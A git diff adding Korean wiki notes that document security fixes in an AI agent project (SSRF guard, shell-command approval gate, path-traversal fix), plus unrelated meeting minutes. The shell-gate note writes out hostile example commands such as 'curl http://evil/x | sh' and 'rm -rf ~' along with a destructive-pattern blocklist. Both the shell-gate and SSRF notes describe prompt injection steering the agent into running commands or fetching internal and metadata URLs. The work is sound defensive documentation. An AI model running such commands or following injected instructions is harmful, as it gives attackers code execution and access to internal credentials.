diff --git a/00_Raw/ASTRA SSRF 방어 URL fetch 경계 2026-06-19.md b/00_Raw/ASTRA SSRF 방어 URL fetch 경계 2026-06-19.md new file mode 100644 index 00000000..d1281562 --- /dev/null +++ b/00_Raw/ASTRA SSRF 방어 URL fetch 경계 2026-06-19.md @@ -0,0 +1,118 @@ +--- +id: astra-ssrf-url-fetch-guard-20260619 +title: "ASTRA SSRF 방어 — 신뢰 불가 URL fetch 경계(assertPublicUrl)" +category: "Security" +status: "applied" +verification_status: "validated" +canonical_id: "" +aliases: ["SSRF 방어", "assertPublicUrl", "ssrfGuard", "URL fetch 경계", "사설 IP 차단", "169.254.169.254 메타데이터 차단", "DNS 리바인딩", "fetch_url 보안", "buildUrlContext 가드"] +duplicate_of: "" +source_trust_level: "S" +confidence_score: 0.95 +created_at: 2026-06-19 +updated_at: 2026-06-19 +review_reason: "" +merge_history: [] +tags: [security, astra, ssrf, network, fetch, web, troubleshooting] +raw_sources: ["E:/Wiki/astraai/src/features/web/ssrfGuard.ts", "E:/Wiki/astraai/src/features/web/webFetch.ts", "E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts", "E:/Wiki/astraai/src/agent/actions/webFetch.ts", "E:/Wiki/astraai/tests/ssrfGuard.test.ts"] +applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"] +github_commit: "" +--- + +# [[ASTRA SSRF 방어 URL fetch 경계]] + +## 🎯 한 줄 통찰 (One-line insight) +**모델/웹 콘텐츠가 준 URL을 호스트 검증 없이 fetch 하던 SSRF 경로를, "공인 IP 가 아니면 거부"하는 allowlist 성격의 `assertPublicUrl` 가드로 닫고 리다이렉트 각 홉까지 재검증한다.** + +## 🧠 핵심 개념 (Core concepts) +- **SSRF (Server-Side Request Forgery)**: 신뢰 불가 입력으로 서버가 내부 자원에 요청하게 만드는 공격. 여기선 "에이전트 프로세스"가 내부망/메타데이터/로컬 브릿지에 도달. +- **차단 대상 IP**: 루프백(127/8·::1), 사설(10/8·172.16/12·192.168/16·fc00::/7), 링크로컬(169.254/16=클라우드 메타데이터·fe80::/10), CGNAT/멀티캐스트/예약, IPv4-mapped IPv6. +- **단일 chokepoint**: `buildUrlContext` 입구에서 한 번 검증 → 브릿지 추출·직접 fetch 양 경로 모두 보호. +- **리다이렉트 재검증**: `redirect:'manual'` + 각 홉 `assertPublicUrl` 재호출로 공인→사설 우회 차단. + +## 🩺 증상 (Symptom) +일반 챗의 URL 주입과 에이전트 ``이 모델/페이지가 제시한 임의 URL을 `redirect:'follow'`로 그대로 fetch했다. 악성 페이지가 `http://127.0.0.1:3002`(로컬 브릿지)·`http://169.254.169.254/...`(메타데이터)·NAS/인트라넷 주소를 제시하면 그 응답 본문이 모델 컨텍스트로 주입될 수 있었다. + +## 🌐 환경 / 범위 (Environment & scope) +- 프로젝트: ASTRA (`E:/Wiki/astraai`). Node 18+ global `fetch`. +- 경로: `urlContext.buildUrlContext`(일반 챗 + `fetch_url` 액션 공용) → ① 브릿지 추출 → ② `fetchUrlDirect` 폴백. +- 비대상: `bridgeFetch`(의도적 localhost:3002 도구 호출)는 SSRF 가드 미적용 — 별도 함수. + +## 🔁 재현 절차 (Reproduction) +1. 챗 또는 모델 응답에 `http://169.254.169.254/latest/meta-data/` 같은 내부 URL 포함. +2. 기존 `fetchUrlDirect`: `http/https`만 확인하고 목적지 IP 미검증 → 그대로 요청, 본문 반환([webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts)). +3. 공인 도메인 → 302 리다이렉트로 사설 IP 유도 시 `follow`가 그대로 추적. + +## 🔥 영향 및 심각도 (Impact & severity) +**High.** 내부망 스캐닝·클라우드 메타데이터 자격증명 탈취·로컬 전용 서비스(브릿지) 호출 가능. 입력 출처가 untrusted(웹/모델)라 악용 난도 낮음. + +## 🧠 근본 원인 (Root cause) +- `fetchUrlDirect`가 스킴(`http/https`)만 검사하고 **호스트→IP 해석 후 사설/예약 범위 검증이 전무**. +- `buildUrlContext`가 URL을 브릿지·직접 양쪽으로 무검증 전달. +- `redirect:'follow'`로 리다이렉트 목적지 재검증 불가. + +## 🔎 조사 과정 (Investigation) +- 보안 감사로 `webFetch.ts:81-103`·`agent/actions/webFetch.ts:20`의 무필터 fetch 경로 식별. +- 외부 표준 리서치: OWASP는 **denylist보다 allowlist**(공인 IP 아니면 거부), DNS 리바인딩 방지엔 **해석 시점 IP 검증/피닝** 권고 [S5]. + +## 🛠️ 해결 (Resolution / applied fix) +1. 신규 모듈 [ssrfGuard.ts](E:/Wiki/astraai/src/features/web/ssrfGuard.ts): `isBlockedIPv4/IPv6/Ip`, `assertPublicUrl(url)` — IP 리터럴 즉시 검사, DNS 호스트는 **모든 A/AAAA 레코드** 해석 후 하나라도 차단 대상이면 거부. `localhost`류는 해석 전 거부. +2. [urlContext.ts](E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts) 입구에 `assertPublicUrl` — 실패 시 "🚫 URL 접근 차단" 정직 블록 반환(브릿지·직접 양 경로 차단). +3. [webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts) `fetchUrlDirect`: `redirect:'manual'`로 전환, 최대 5홉 루프에서 각 홉 `assertPublicUrl` 재검증(이중 방어 + 독립 호출자 보호). + +## 💻 코드 패턴 (Code patterns) +```ts +// ssrfGuard.ts — "공인 아니면 거부" +export async function assertPublicUrl(rawUrl: string): Promise { + const host = new URL(rawUrl).hostname.replace(/^\[|\]$/g, ''); + if (isIP(host)) { if (isBlockedIp(host)) throw new SsrfBlockedError(`차단된 내부 IP: ${host}`); return; } + if (/^localhost$/i.test(host) || host.endsWith('.localhost')) throw new SsrfBlockedError('로컬 호스트'); + const addrs = await dnsLookup(host, { all: true }); // 모든 레코드 검사(다중 IP 우회 방지) + for (const { address } of addrs) + if (isBlockedIp(address)) throw new SsrfBlockedError(`내부 IP 해석: ${host} → ${address}`); +} +``` +```ts +// webFetch.ts — 리다이렉트 각 홉 재검증 +for (let hop = 0; hop <= 5; hop++) { + try { await assertPublicUrl(current); } catch (e) { return fail(`차단됨(SSRF 방지): ${e.message}`); } + res = await fetch(current, { redirect: 'manual', /* … */ }); + if (res.status >= 300 && res.status < 400 && res.headers.get('location')) { + current = new URL(res.headers.get('location'), current).toString(); continue; + } + break; +} +``` + +## ✅ 검증 (Verification) +- 신규 [tests/ssrfGuard.test.ts](E:/Wiki/astraai/tests/ssrfGuard.test.ts) 9개: IPv4/IPv6 범위, 내부 IP URL 거부, `localhost` 거부, 잘못된 URL 거부. +- `urlContextBuild.test.ts`는 SSRF 가드를 모킹(할루시네이션 로직 검증 전용, DNS 비의존화). +- `tsc` 0 에러, 전체 716 통과. + +## ⚖️ 모순 및 업데이트 (Contradictions & updates) +**한계(정직 고지):** 해석 시점 검증이라 fetch 가 재해석하는 사이 레코드가 바뀌는 **DNS 리바인딩 창**은 완전히 닫지 못한다. 완전 차단은 연결 IP 고정(커스텀 undici dispatcher)이 필요 — 정적 사설 IP·리다이렉트 우회는 차단됨. 브릿지(:3002) 자체의 서버사이드 fetch SSRF는 브릿지(별도 프로젝트)의 책임. + +## 🛠️ 적용 사례 (Applied in summary) +ASTRA 일반 챗 URL 주입 + 에이전트 `fetch_url` 액션 + `/wikify` 폴백(직접 fetch) 경로에 적용. + +## ✅ 검증 상태 및 신뢰도 +- **상태:** applied (미커밋) +- **검증 단계:** validated (단위 테스트 + 빌드/타입) +- **출처 신뢰도:** S +- **신뢰 점수:** 0.95 +- **중복 검사 결과:** 신규 생성 + +## 🔗 지식 그래프 (Knowledge Graph) +- **상위/루트:** [[ASTRA]] +- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA Datacollect Bridge]] +- **참조 맥락:** 에이전트/LLM이 외부 URL을 가져올 때의 네트워크 경계 통제 기준. + +## 📚 출처 (Sources) +- [S1] `E:/Wiki/astraai/src/features/web/ssrfGuard.ts` — IP 범위 판정 + `assertPublicUrl`. +- [S2] `E:/Wiki/astraai/src/features/web/webFetch.ts` — `fetchUrlDirect` 수동 리다이렉트 + 가드. +- [S3] `E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts` — 입구 chokepoint. +- [S4] `E:/Wiki/astraai/tests/ssrfGuard.test.ts` — 회귀 테스트. +- [S5] OWASP SSRF Prevention / `azu/request-filtering-agent`, Wiz SSRF guide — allowlist·DNS 리바인딩 권고. + +## 📝 변경 이력 (Change history) +- 2026-06-19: 보안 감사 + 외부 표준 대조 후 SSRF 가드 신설 및 최초 문서화(Claude Opus 4.8). diff --git a/00_Raw/ASTRA 셸 명령 실행 보안 게이트 2026-06-19.md b/00_Raw/ASTRA 셸 명령 실행 보안 게이트 2026-06-19.md new file mode 100644 index 00000000..26cf2c92 --- /dev/null +++ b/00_Raw/ASTRA 셸 명령 실행 보안 게이트 2026-06-19.md @@ -0,0 +1,126 @@ +--- +id: astra-run-command-security-gate-20260619 +title: "ASTRA 에이전트 셸 명령 실행 보안 게이트 (run_command 승인·분류)" +category: "Security" +status: "applied" +verification_status: "validated" +canonical_id: "" +aliases: ["run_command 게이트", "셸 명령 승인", "command execution gate", "sanitizeCommand allowlist", "에이전트 임의 코드 실행 방지", "classifyCommand", "ASTRA 명령 승인 큐"] +duplicate_of: "" +source_trust_level: "S" +confidence_score: 0.97 +created_at: 2026-06-19 +updated_at: 2026-06-19 +review_reason: "" +merge_history: [] +tags: [security, astra, agent, shell, approval, RCE, troubleshooting] +raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/src/agent/actions/runCommand.ts", "E:/Wiki/astraai/src/agent/actions/types.ts", "E:/Wiki/astraai/src/agent.ts", "E:/Wiki/astraai/src/features/approval/approvalQueue.ts", "E:/Wiki/astraai/tests/commandGate.test.ts"] +applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"] +github_commit: "" +--- + +# [[ASTRA 에이전트 셸 명령 실행 보안 게이트]] + +## 🎯 한 줄 통찰 (One-line insight) +**에이전트가 emit 한 ``가 사람 확인·허용리스트 강제 없이 즉시 셸에서 실행되던 임의 코드 실행(RCE) 경로를, "차단 / 자동허용 / 승인필요" 3분류 게이트로 닫았다.** + +## 🧠 핵심 개념 (Core concepts) +- **게이트 우회 (gate bypass)**: dryRun 승인 흐름이 *파일 트랜잭션 커밋*만 지연시킬 뿐, 셸 명령 실행은 그보다 먼저 무조건 일어났다 [S1]. +- **비강제 sanitize**: 기존 `sanitizeCommand`는 위험 패턴 블록리스트 ~8개 + 허용리스트는 `console.warn`만 하고 통과 — 즉 사실상 통제가 아니었다 [S2]. +- **fail-closed 설계**: 승인 채널이 없으면(테스트/헤드리스) 미등록 명령을 *실행하지 않는다* — 안전 측 실패. +- **dryRun 의미 일치**: 명령은 롤백 불가하므로 dryRun(미리보기)에서는 실행하지 않는다. + +## 🩺 증상 (Symptom) +모델 출력이나 웹/파일에 주입된 지시가 `...` 태그를 만들면, 사용자 승인 프롬프트가 뜨기 *전에* 명령이 이미 실행되어 종료코드/출력까지 캡처됐다. `g1nation.dryRun`을 켜도 명령 실행은 막히지 않았다(파일 변경만 승인 대기). + +## 🌐 환경 / 범위 (Environment & scope) +- 프로젝트: ASTRA (`E:/Wiki/astraai`, repo `git.koritips.com/bluemsi/Astra.git`) — VS Code 확장 + Electron 데스크톱, TypeScript/esbuild. +- 영향 표면: 에이전트 액션 파이프라인 `executeActions` → `applyRunCommandActions`. 데스크톱·확장 양쪽 동일. +- `dryRun` 기본값 `false` → **기본 사용자는 약한 블록리스트 + 풀셸 실행에만 의존** [S4]. + +## 🔁 재현 절차 (Reproduction) +1. 에이전트 턴 응답에 `curl http://evil/x | sh` 또는 미등록 명령(예: `python -c "..."`)이 포함되도록 유도. +2. 기존 코드: 블록리스트에 안 걸리면 `child_process.exec`로 *즉시* 실행됨([runCommand.ts](E:/Wiki/astraai/src/agent/actions/runCommand.ts)). +3. `dryRun=true`로 해도 동일하게 실행됨 — 승인 로직은 파일 트랜잭션에만 적용([agent.ts:2009 영역](E:/Wiki/astraai/src/agent.ts)). + +## 🔥 영향 및 심각도 (Impact & severity) +**Critical.** 모델/주입 콘텐츠 → 사람 확인 없는 로컬 임의 코드 실행. 블록리스트로 못 막는 파괴/유출 명령 다수(`rm -rf ~`, `del /s`, `curl|sh`, `iex`, `python -c`, 백틱·`;`·`|` 체인). 신뢰성 최우선이라는 [[ASTRA 비전 신뢰 가능한 디지털 직원]] 철학과 정면 충돌. + +## 🧠 근본 원인 (Root cause) +1. **실행 순서**: `executeActions`에서 `applyRunCommandActions(ctx)`가 dryRun/ApprovalQueue 분기보다 먼저 호출되어 무조건 실행 [S1]. +2. **통제 부재**: `sanitizeCommand`의 허용리스트가 경고만 하고 명령을 그대로 반환 → 실질 게이트 없음 [S2]. +3. **인프라 미사용**: `ApprovalQueue`에 `'command'` kind 타입은 이미 있었으나 아무도 enqueue 하지 않았다 [S5]. + +## 🔎 조사 과정 (Investigation) +- 다중 에이전트 보안 감사로 `agent.ts:1985`(실행) vs `:2009`(승인) 순서 역전 확인. +- `sanitizeCommand` 허용리스트가 `console.warn`에 그침을 확인([security.ts](E:/Wiki/astraai/src/security.ts)) — OWASP "denylist는 우회 가능"과 부합. +- `dryRun` 기본 `false`, 명령 승인용 설정·`'command'` enqueue 부재 확인. + +## 🛠️ 해결 (Resolution / applied fix) +1. `security.ts`에 **`classifyCommand(cmd): 'block' | 'allow' | 'approve'`** 도입 + 보조함수 `assertCommandSafe`, `isCommandAllowlisted`. 블록리스트 대폭 강화(`rm -rf /~.*`, `curl|sh`/`wget|bash`, `iex`, `mkfs`, `dd`, `del /s`, `Remove-Item -Recurse -Force`, fork bomb, `shutdown` 등), 허용리스트 확장(npm/git/node/python/tsc/jest/docker…) + **체인의 모든 세그먼트 검사**. +2. `runCommand.ts` 재작성: block→차단 보고, allow→즉시 실행, approve→`ApprovalQueue('command')` enqueue 후 **승인 시에만 실행**하고 결과를 `postChunk`로 채팅 전달. dryRun→미실행 미리보기. 승인 채널 없으면 fail-closed(실행 보류). +3. `HandlerContext`에 `dryRun?`, `approvalQueue?`, `postChunk?` 주입; `agent.ts`에서 채움. +4. **구조적 안전 포인트**: 명령 승인(dryRun off)과 트랜잭션 승인(dryRun on)이 상호배타 → 0..1 승인 큐 선점 충돌 없음. + +## 💻 코드 패턴 (Code patterns) +```ts +// security.ts — 3분류 게이트 +export function classifyCommand(command: string): 'block' | 'allow' | 'approve' { + try { assertCommandSafe(command); } catch { return 'block'; } // 파괴 패턴: 승인으로도 불가 + return isCommandAllowlisted(command) ? 'allow' : 'approve'; // 모든 세그먼트 allowlist → allow +} +``` +```ts +// runCommand.ts — 게이트 적용 (요약) +const decision = classifyCommand(cmd); +if (decision === 'block') { report.push(`❌ 차단됨(위험 명령)`); continue; } +if (ctx.dryRun) { report.push(`⚠️ Dry Run — 명령 미실행`); continue; } +if (decision === 'approve') { + if (ctx.approvalQueue) { pendingApproval.push(safeCmd); /* enqueue 후 승인 시 실행 */ } + else report.push(`⛔ 미승인 명령 — 실행 보류(fail-closed)`); + continue; +} +report.push(await executeCommand(safeCmd, rootPath)); // allow → 즉시 실행 +``` + +## ✅ 검증 (Verification) +- `tsc --noEmit` 0 에러, esbuild 양쪽 번들 빌드 성공. +- 신규 [tests/commandGate.test.ts](E:/Wiki/astraai/tests/commandGate.test.ts) 9개: 분류(allow/approve/block)·즉시실행·fail-closed·승인 후 실행·dryRun 미실행·파괴 명령 차단. +- 기존 `folderActions.test.ts` 5개 유지(mkdir allow 실행 / rm -rf / 차단). +- 전체 스위트 707 통과. + +## ⚖️ 검토했으나 적용 안 한 것 (Considered & rejected) +- **`exec`→`execFile`(셸 제거)**: `&&` 체인 + PowerShell 재작성을 깨므로 불가 — 셸 유지 + 분류/승인으로 대체. +- **블록리스트만 강화**: OWASP상 우회 가능 — 허용리스트+승인을 본 통제로. + +## 🚧 재발 방지 (Prevention / regression guard) +- `commandGate.test.ts`가 분류·실행 경로를 회귀로 고정. +- 새 위험 패턴은 `DANGEROUS_PATTERNS`, 새 허용 도구는 `SAFE_BASE_COMMANDS`에만 추가(call-site 변경 불필요). + +## 📌 교훈 (Lessons) +- **"통제는 경고가 아니라 거부여야 한다"** — `console.warn` 허용리스트는 보안 통제가 아니다. +- **실행 순서가 곧 보안 경계** — 승인 게이트는 부수효과(실행)보다 반드시 *앞*에 와야 한다. +- 타입에 `'command'` kind가 이미 있었듯, *스캐폴딩만 있고 미배선된 안전장치*를 의심하라. + +## ✅ 검증 상태 및 신뢰도 +- **상태:** applied (코드 반영, 미커밋) +- **검증 단계:** validated (단위 테스트 + 빌드/타입 통과) +- **출처 신뢰도:** S (1차 소스 = 실제 코드/테스트) +- **신뢰 점수:** 0.97 +- **중복 검사 결과:** 신규 생성 + +## 🔗 지식 그래프 (Knowledge Graph) +- **상위/루트:** [[ASTRA]] +- **관련 개념:** [[ASTRA SSRF 방어 URL fetch 경계]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA 비전 신뢰 가능한 디지털 직원]] +- **참조 맥락:** 에이전트가 셸/파일/네트워크 부수효과를 일으킬 때의 사람-개입(human-in-the-loop) 설계 기준. + +## 📚 출처 (Sources) +- [S1] `E:/Wiki/astraai/src/agent.ts` — `executeActions` 실행 순서(명령 실행 → 이후 dryRun 승인 분기) 및 ctx 주입. +- [S2] `E:/Wiki/astraai/src/security.ts` — `classifyCommand`/`assertCommandSafe`/`isCommandAllowlisted`/`sanitizeCommand`. +- [S3] `E:/Wiki/astraai/src/agent/actions/runCommand.ts` — 게이트 적용 핸들러. +- [S4] `E:/Wiki/astraai/src/config.ts` — `dryRun` 기본값 false. +- [S5] `E:/Wiki/astraai/src/features/approval/approvalQueue.ts` — `ApprovalKind`에 `'command'` 기정의. +- [S6] `E:/Wiki/astraai/tests/commandGate.test.ts` — 회귀 테스트. + +## 📝 변경 이력 (Change history) +- 2026-06-19: 다중 에이전트 보안 감사에서 발견한 RCE 경로 수정 후 최초 문서화(Claude Opus 4.8 작업 기록). diff --git a/00_Raw/ASTRA 파일 경로 경계 가드 2026-06-19.md b/00_Raw/ASTRA 파일 경로 경계 가드 2026-06-19.md new file mode 100644 index 00000000..3bfd364f --- /dev/null +++ b/00_Raw/ASTRA 파일 경로 경계 가드 2026-06-19.md @@ -0,0 +1,106 @@ +--- +id: astra-path-boundary-guard-20260619 +title: "ASTRA 파일 경로 경계 가드 — validatePath prefix 약점 + brain:read 클램핑" +category: "Security" +status: "applied" +verification_status: "validated" +canonical_id: "" +aliases: ["validatePath 경계", "path traversal 방지", "prefix 혼동 취약점", "path.sep 경계", "brain:read 클램핑", "isWithinRoot", "IPC 경로 가드", "경로 탈출 차단"] +duplicate_of: "" +source_trust_level: "S" +confidence_score: 0.94 +created_at: 2026-06-19 +updated_at: 2026-06-19 +review_reason: "" +merge_history: [] +tags: [security, astra, path-traversal, ipc, electron, troubleshooting] +raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/desktop/main.ts", "E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts", "E:/Wiki/astraai/tests/validatePath.test.ts"] +applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"] +github_commit: "" +--- + +# [[ASTRA 파일 경로 경계 가드]] + +## 🎯 한 줄 통찰 (One-line insight) +**`startsWith(root)` 한 줄이 `…/astraai`를 `…/astraai-secrets`까지 통과시키던 경계 혼동을 `path.sep` 단위 비교로 막고, 두뇌 뷰어 IPC(`brain:read`)의 임의 파일 읽기를 두뇌 루트로 클램핑했다.** + +## 🧠 핵심 개념 (Core concepts) +- **prefix 혼동 (prefix confusion)**: 구분자 가드 없는 `startsWith`는 `/foo`가 `/foobar`를 경계 안으로 오인한다 — 반드시 `root + path.sep` 또는 `path.relative` 기반 비교. +- **realpath 경계 검사**: 심볼릭 링크 우회를 막으려면 대상의 *실제 경로*를 풀어 비교(`isWithinRoot`). +- **채널별 경계**: 두뇌 뷰어(`brain:read`)는 두뇌 루트로 제한 가능하나, 범용 파일 편집기(`fs:read/write`)는 *의도적으로* 전체 FS 접근 — 채널 목적에 맞는 경계를 둔다. + +## 🩺 증상 (Symptom) +1. `validatePath`가 신뢰 루트 `e:\wiki\astraai`에 대해 `e:\wiki\astraai-secrets\x` 같은 형제 경로를 통과시켰다(접두 문자열 일치). +2. 데스크톱 IPC `astra:brain:read`가 경로 검증 없이 임의 절대경로를 최대 200KB 읽어 반환. + +## 🌐 환경 / 범위 (Environment & scope) +- 프로젝트: ASTRA (`E:/Wiki/astraai`). `validatePath`는 에이전트 파일 액션(create/edit/read/delete)의 샌드박스 근간. +- 데스크톱 IPC 핸들러(`desktop/main.ts`)는 렌더러가 호출하는 파일 채널. + +## 🔁 재현 절차 (Reproduction) +1. 작업폴더 `C:\sandboxroot`(부모가 드라이브 루트라 widening 없음)에서 `validatePath(root, 'C:\\sandboxroot-evil\\x')` 호출 → 기존엔 통과(BUG). +2. `window.astra.brain.read('C:\\Windows\\win.ini')` → 기존엔 임의 파일 내용 반환. + +## 🔥 영향 및 심각도 (Impact & severity) +**High.** prefix 혼동은 샌드박스 형제 디렉토리 탈출을 허용. `brain:read` 무제한은 침해/주입된 렌더러가 임의 파일을 읽는 정보노출 경로. + +## 🧠 근본 원인 (Root cause) +- [security.ts](E:/Wiki/astraai/src/security.ts) `validatePath`: `trusted.some(root => normalizedTarget.startsWith(root))` — 구분자 가드 부재. +- [main.ts](E:/Wiki/astraai/desktop/main.ts) `astra:brain:read`: 경계 검사 없는 `fs.readFileSync(filePath)`. + +## 🔎 조사 과정 (Investigation) +- 보안 감사로 `security.ts:52` prefix 비교 약점과 `main.ts:321` 무가드 읽기 식별. +- 렌더러 사용처 추적: `brain:read`는 Brain 뷰어가 `brain:list` 결과만 읽음 → 두뇌 루트 클램핑이 기능 손실 0. +- 반면 `fs:read/write`는 Explorer/FileEditor의 **범용 편집기**(FileTree `goParent` 상위 탐색 + "연 파일이 진실의 원천"이라는 명시 주석)라 클램핑 시 문서화된 기능 파괴 → 제외 판단. + +## 🛠️ 해결 (Resolution / applied fix) +1. `validatePath` 경계 비교를 `path.sep` 단위로 교정: `normalizedTarget === r || normalizedTarget.startsWith(r + path.sep)`. +2. `desktop/main.ts`에 모듈 레벨 `isWithinRoot(root, target)`(realpath + sep 가드) 추가, `astra:brain:read`를 활성 두뇌 폴더로 클램핑. + +## 💻 코드 패턴 (Code patterns) +```ts +// security.ts — sep 단위 경계 비교 +const isTrusted = trusted.some(root => { + const r = root.endsWith(path.sep) ? root.slice(0, -1) : root; + return normalizedTarget === r || normalizedTarget.startsWith(r + path.sep); +}); +``` +```ts +// desktop/main.ts — 두뇌 뷰어 채널 클램핑 +H('astra:brain:read', async (_e, filePath: string) => { + try { + const root = getActiveBrainProfile().localBrainPath; + if (!root || !isWithinRoot(root, filePath)) return ''; // 두뇌 폴더 밖 → 거부 + return fs.readFileSync(filePath, 'utf-8').slice(0, 200000); + } catch { return ''; } +}); +``` + +## ✅ 검증 (Verification) +- 신규 [tests/validatePath.test.ts](E:/Wiki/astraai/tests/validatePath.test.ts) 6개: 내부 경로 허용, 형제 prefix(`…root-evil`) 차단, `..` 탈출 차단. +- `tsc` 0 에러, esbuild 양쪽 빌드 성공, 전체 716 통과. + +## ⚖️ 모순 및 업데이트 (Contradictions & updates) +- **의도적으로 클램핑하지 않은 것**: `fs:read`/`fs:write`(범용 편집기, FileTree `goParent`로 전체 FS 편집이 설계 의도이자 테스트됨), `create_dir` 절대경로(주석상 "저위험·비파괴 mkdir", 테스트 보장). 이들의 본질 위협(렌더러 침해)은 `sandbox:true`+navigation 가드가 올바른 완화책 — 별도 후속 과제. +- 즉 "모든 IPC를 workingDir로 묶는" 기계적 적용은 문서화된 기능을 깨므로 **채널 목적별 경계**가 정답. + +## ✅ 검증 상태 및 신뢰도 +- **상태:** applied (미커밋) +- **검증 단계:** validated +- **출처 신뢰도:** S +- **신뢰 점수:** 0.94 +- **중복 검사 결과:** 신규 생성 + +## 🔗 지식 그래프 (Knowledge Graph) +- **상위/루트:** [[ASTRA]] +- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA SSRF 방어 URL fetch 경계]], [[Electron 보안 하드닝]] +- **참조 맥락:** 에이전트/IPC가 파일시스템에 접근할 때의 경계(sandbox) 설계 기준. + +## 📚 출처 (Sources) +- [S1] `E:/Wiki/astraai/src/security.ts` — `validatePath` sep 경계 수정. +- [S2] `E:/Wiki/astraai/desktop/main.ts` — `isWithinRoot` + `astra:brain:read` 클램핑. +- [S3] `E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts` — `create_dir` 절대경로 의도(미변경 근거). +- [S4] `E:/Wiki/astraai/tests/validatePath.test.ts` — 회귀 테스트. + +## 📝 변경 이력 (Change history) +- 2026-06-19: 보안 감사에서 발견한 prefix 경계 약점 + 무가드 IPC 읽기 수정 후 최초 문서화(Claude Opus 4.8). diff --git a/00_Raw/회의록 p 2026-06-16.md b/00_Raw/회의록 p 2026-06-16.md new file mode 100644 index 00000000..c9d3d3b9 --- /dev/null +++ b/00_Raw/회의록 p 2026-06-16.md @@ -0,0 +1,53 @@ +# [회의 제목] 플랫폼 최적화 및 CCOC 프로젝트 진행 현황 논의 + +- **날짜**: 2026년 06월 16일 +- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성 (메타데이터 기준) +- **주제 요약**: iOS 메모리 이슈 해결을 위한 플랫폼(PlayCanvas, Babylon.js 등) 조사 및 CCOC 프로젝트의 목업 기반 개발 방향 논의 + +## 🔹 요약 보고 +* **iOS 메모리 문제 및 최적화**: iOS 기기에서 파일 압축 해제 시 발생하는 메모리 부족 문제와 이를 극복하기 위한 플레이캔버스(PlayCanvas) 활용 방점 논의. +* **플랫폼 기술 조사**: 웹GL 기반 환경에서 성능이 검증된 샘플 사이트(3개 내외)를 선정하여 QA 팀에 테스트 요청 계획 수립. +* **CCCOC 프로젝트 진행**: 현옥 팀장의 목업을 바탕으로 한 개발 방식 및 데이터 업데이트 방식(바이브 코딩 활용 등) 논의. +* **가우시안 스플래팅 R&D**: 파노라마 방식을 대체하거나 보완할 수 있는 기술적 가능성 및 퀄리티 검증 필요성 제기. + +## 1. 주요 논의 사항 +### [iOS 메모리 이슈 및 웹GL 플랫폼 조사] +- **현황**: iOS 환경에서 압축 파일 해제 시 발생하는 메모리 문제로 인해 특정 기기에서 실행이 불안정함. +- **핵심 논의**: + - 참석자 1: iOS 10/17 등 특정 기기에서의 메모리 터짐 현상과 이를 극복하기 위한 플레이캔버스 지원 포맷(sgl/sog 등) 활용 가능성 언급. + - 참석자 2: 이미 서비스 중인 사례나 샘플 데모를 찾아보고, QA 팀에 URL을 전달하여 성능(초 단위 등) 및 작동 여부를 체크리스트로 확인 요청할 것을 제안. + - 참석자 3: 가우시안 스플래팅 기반의 최적화된 프로젝트 샘플 3개를 찾아 전달하겠다고 답변. +- **결론**: 논의 중 (플레이캔버스 및 베이비론 JS 등 기술 검토 필요) + +### [CCCOC 프로젝트 개발 방향] +- **현황**: CCOC 프로젝트의 1차 작업 기한은 19일까지이며, 현재 목업 단계임. +- **핵급 논의**: + - 참석자 4: 현옥 팀장이 만든 웹 기반 목업 형태를 공유할 예정이며, 상품 리스트가 나열된 단순한 구조임을 설명. + - 참석자 2: 바이브 코딩을 활용하여 초기 구현을 진행하되, 데이터 업데이트(DB/로컬)를 위한 개별 코딩 및 구조 고민이 필요함을 강조. +- **결론**: 논의 중 (목업 전달 후 구체적 개발 방식 결정) + +### [가우시안 스플래팅 R&D 방향] +- **현황**: 가우시안 스플래팅 기술을 기존 파노라마 방식에 적용하거나 새로운 무기로 사용할지 검토 중. +- **핵심 논의**: + - 참석자 3: 기존 파노라마 기술을 유지하면서 새로운 포맷으로 가져가는 방향 제안. + - 참석자 2: 결과물의 퀄리티와 호환성에 따라 결정될 문제이며, 최종적인 평가가 필요함. +- **결론**: 논의 중 + +## 2. 리스크 및 이슈 +* **iOS 메모리 부족**: 파일 압축 해제 시 메모리 점유로 인해 특정 기기에서 크래시 발생 가능성 있음. +* **기술적 불확실성**: 베이비론 JS나 트리JS 등 선택한 플랫폼의 비주얼 툴 지원 여부 및 개발 편의성에 대한 검증이 필요함. + +## 3. 결정 사항 +- **QA 테스트 요청**: 선정된 샘플 사이트(약 3개)를 QA 팀에 전달하여 기종별 성능 및 작동 여부를 체크할 것 — 근거: "QA 통해서 거기 돌아가는지를 체크해서 이 체크리스트 표를 만들어서... 확인해 달라고" +- **CCCOC 목업 공유**: 개발 방향 설정을 위해 현옥 팀장의 목업 링크를 전달할 것 — 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." + +## 4. 오픈 이슈 +* 베이비론 JS(Babylon.js)의 비주얼 툴 지원 범위 및 활용 가능성 확인 필요. +* CCCOC 프로젝트의 데이터 업데이트 방식(DB 연동 또는 로컬 입력)에 대한 구체적인 설계. + +## 5. 액션 아이템 +| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 | +| --- | --- | --- | --- | --- | +| 참석자 3 | 웹GL 샘플 프로젝트 전달 | 플레이캔버스 기반의 가우시안 스플래팅 프로젝트를 포함하여, 검증 가능한 샘플 3개를 찾아 전달함. 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고" | 기한미정 | 진행미정 | +| 참석자 4 | CCOC 목업 링크 전달 | 현재 개발 중인 CCOC 프로젝트의 느낌을 파악할 수 있도록 현옥 팀장의 목업 링크를 공유함. 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." | 기한미정 | 기한미정 | 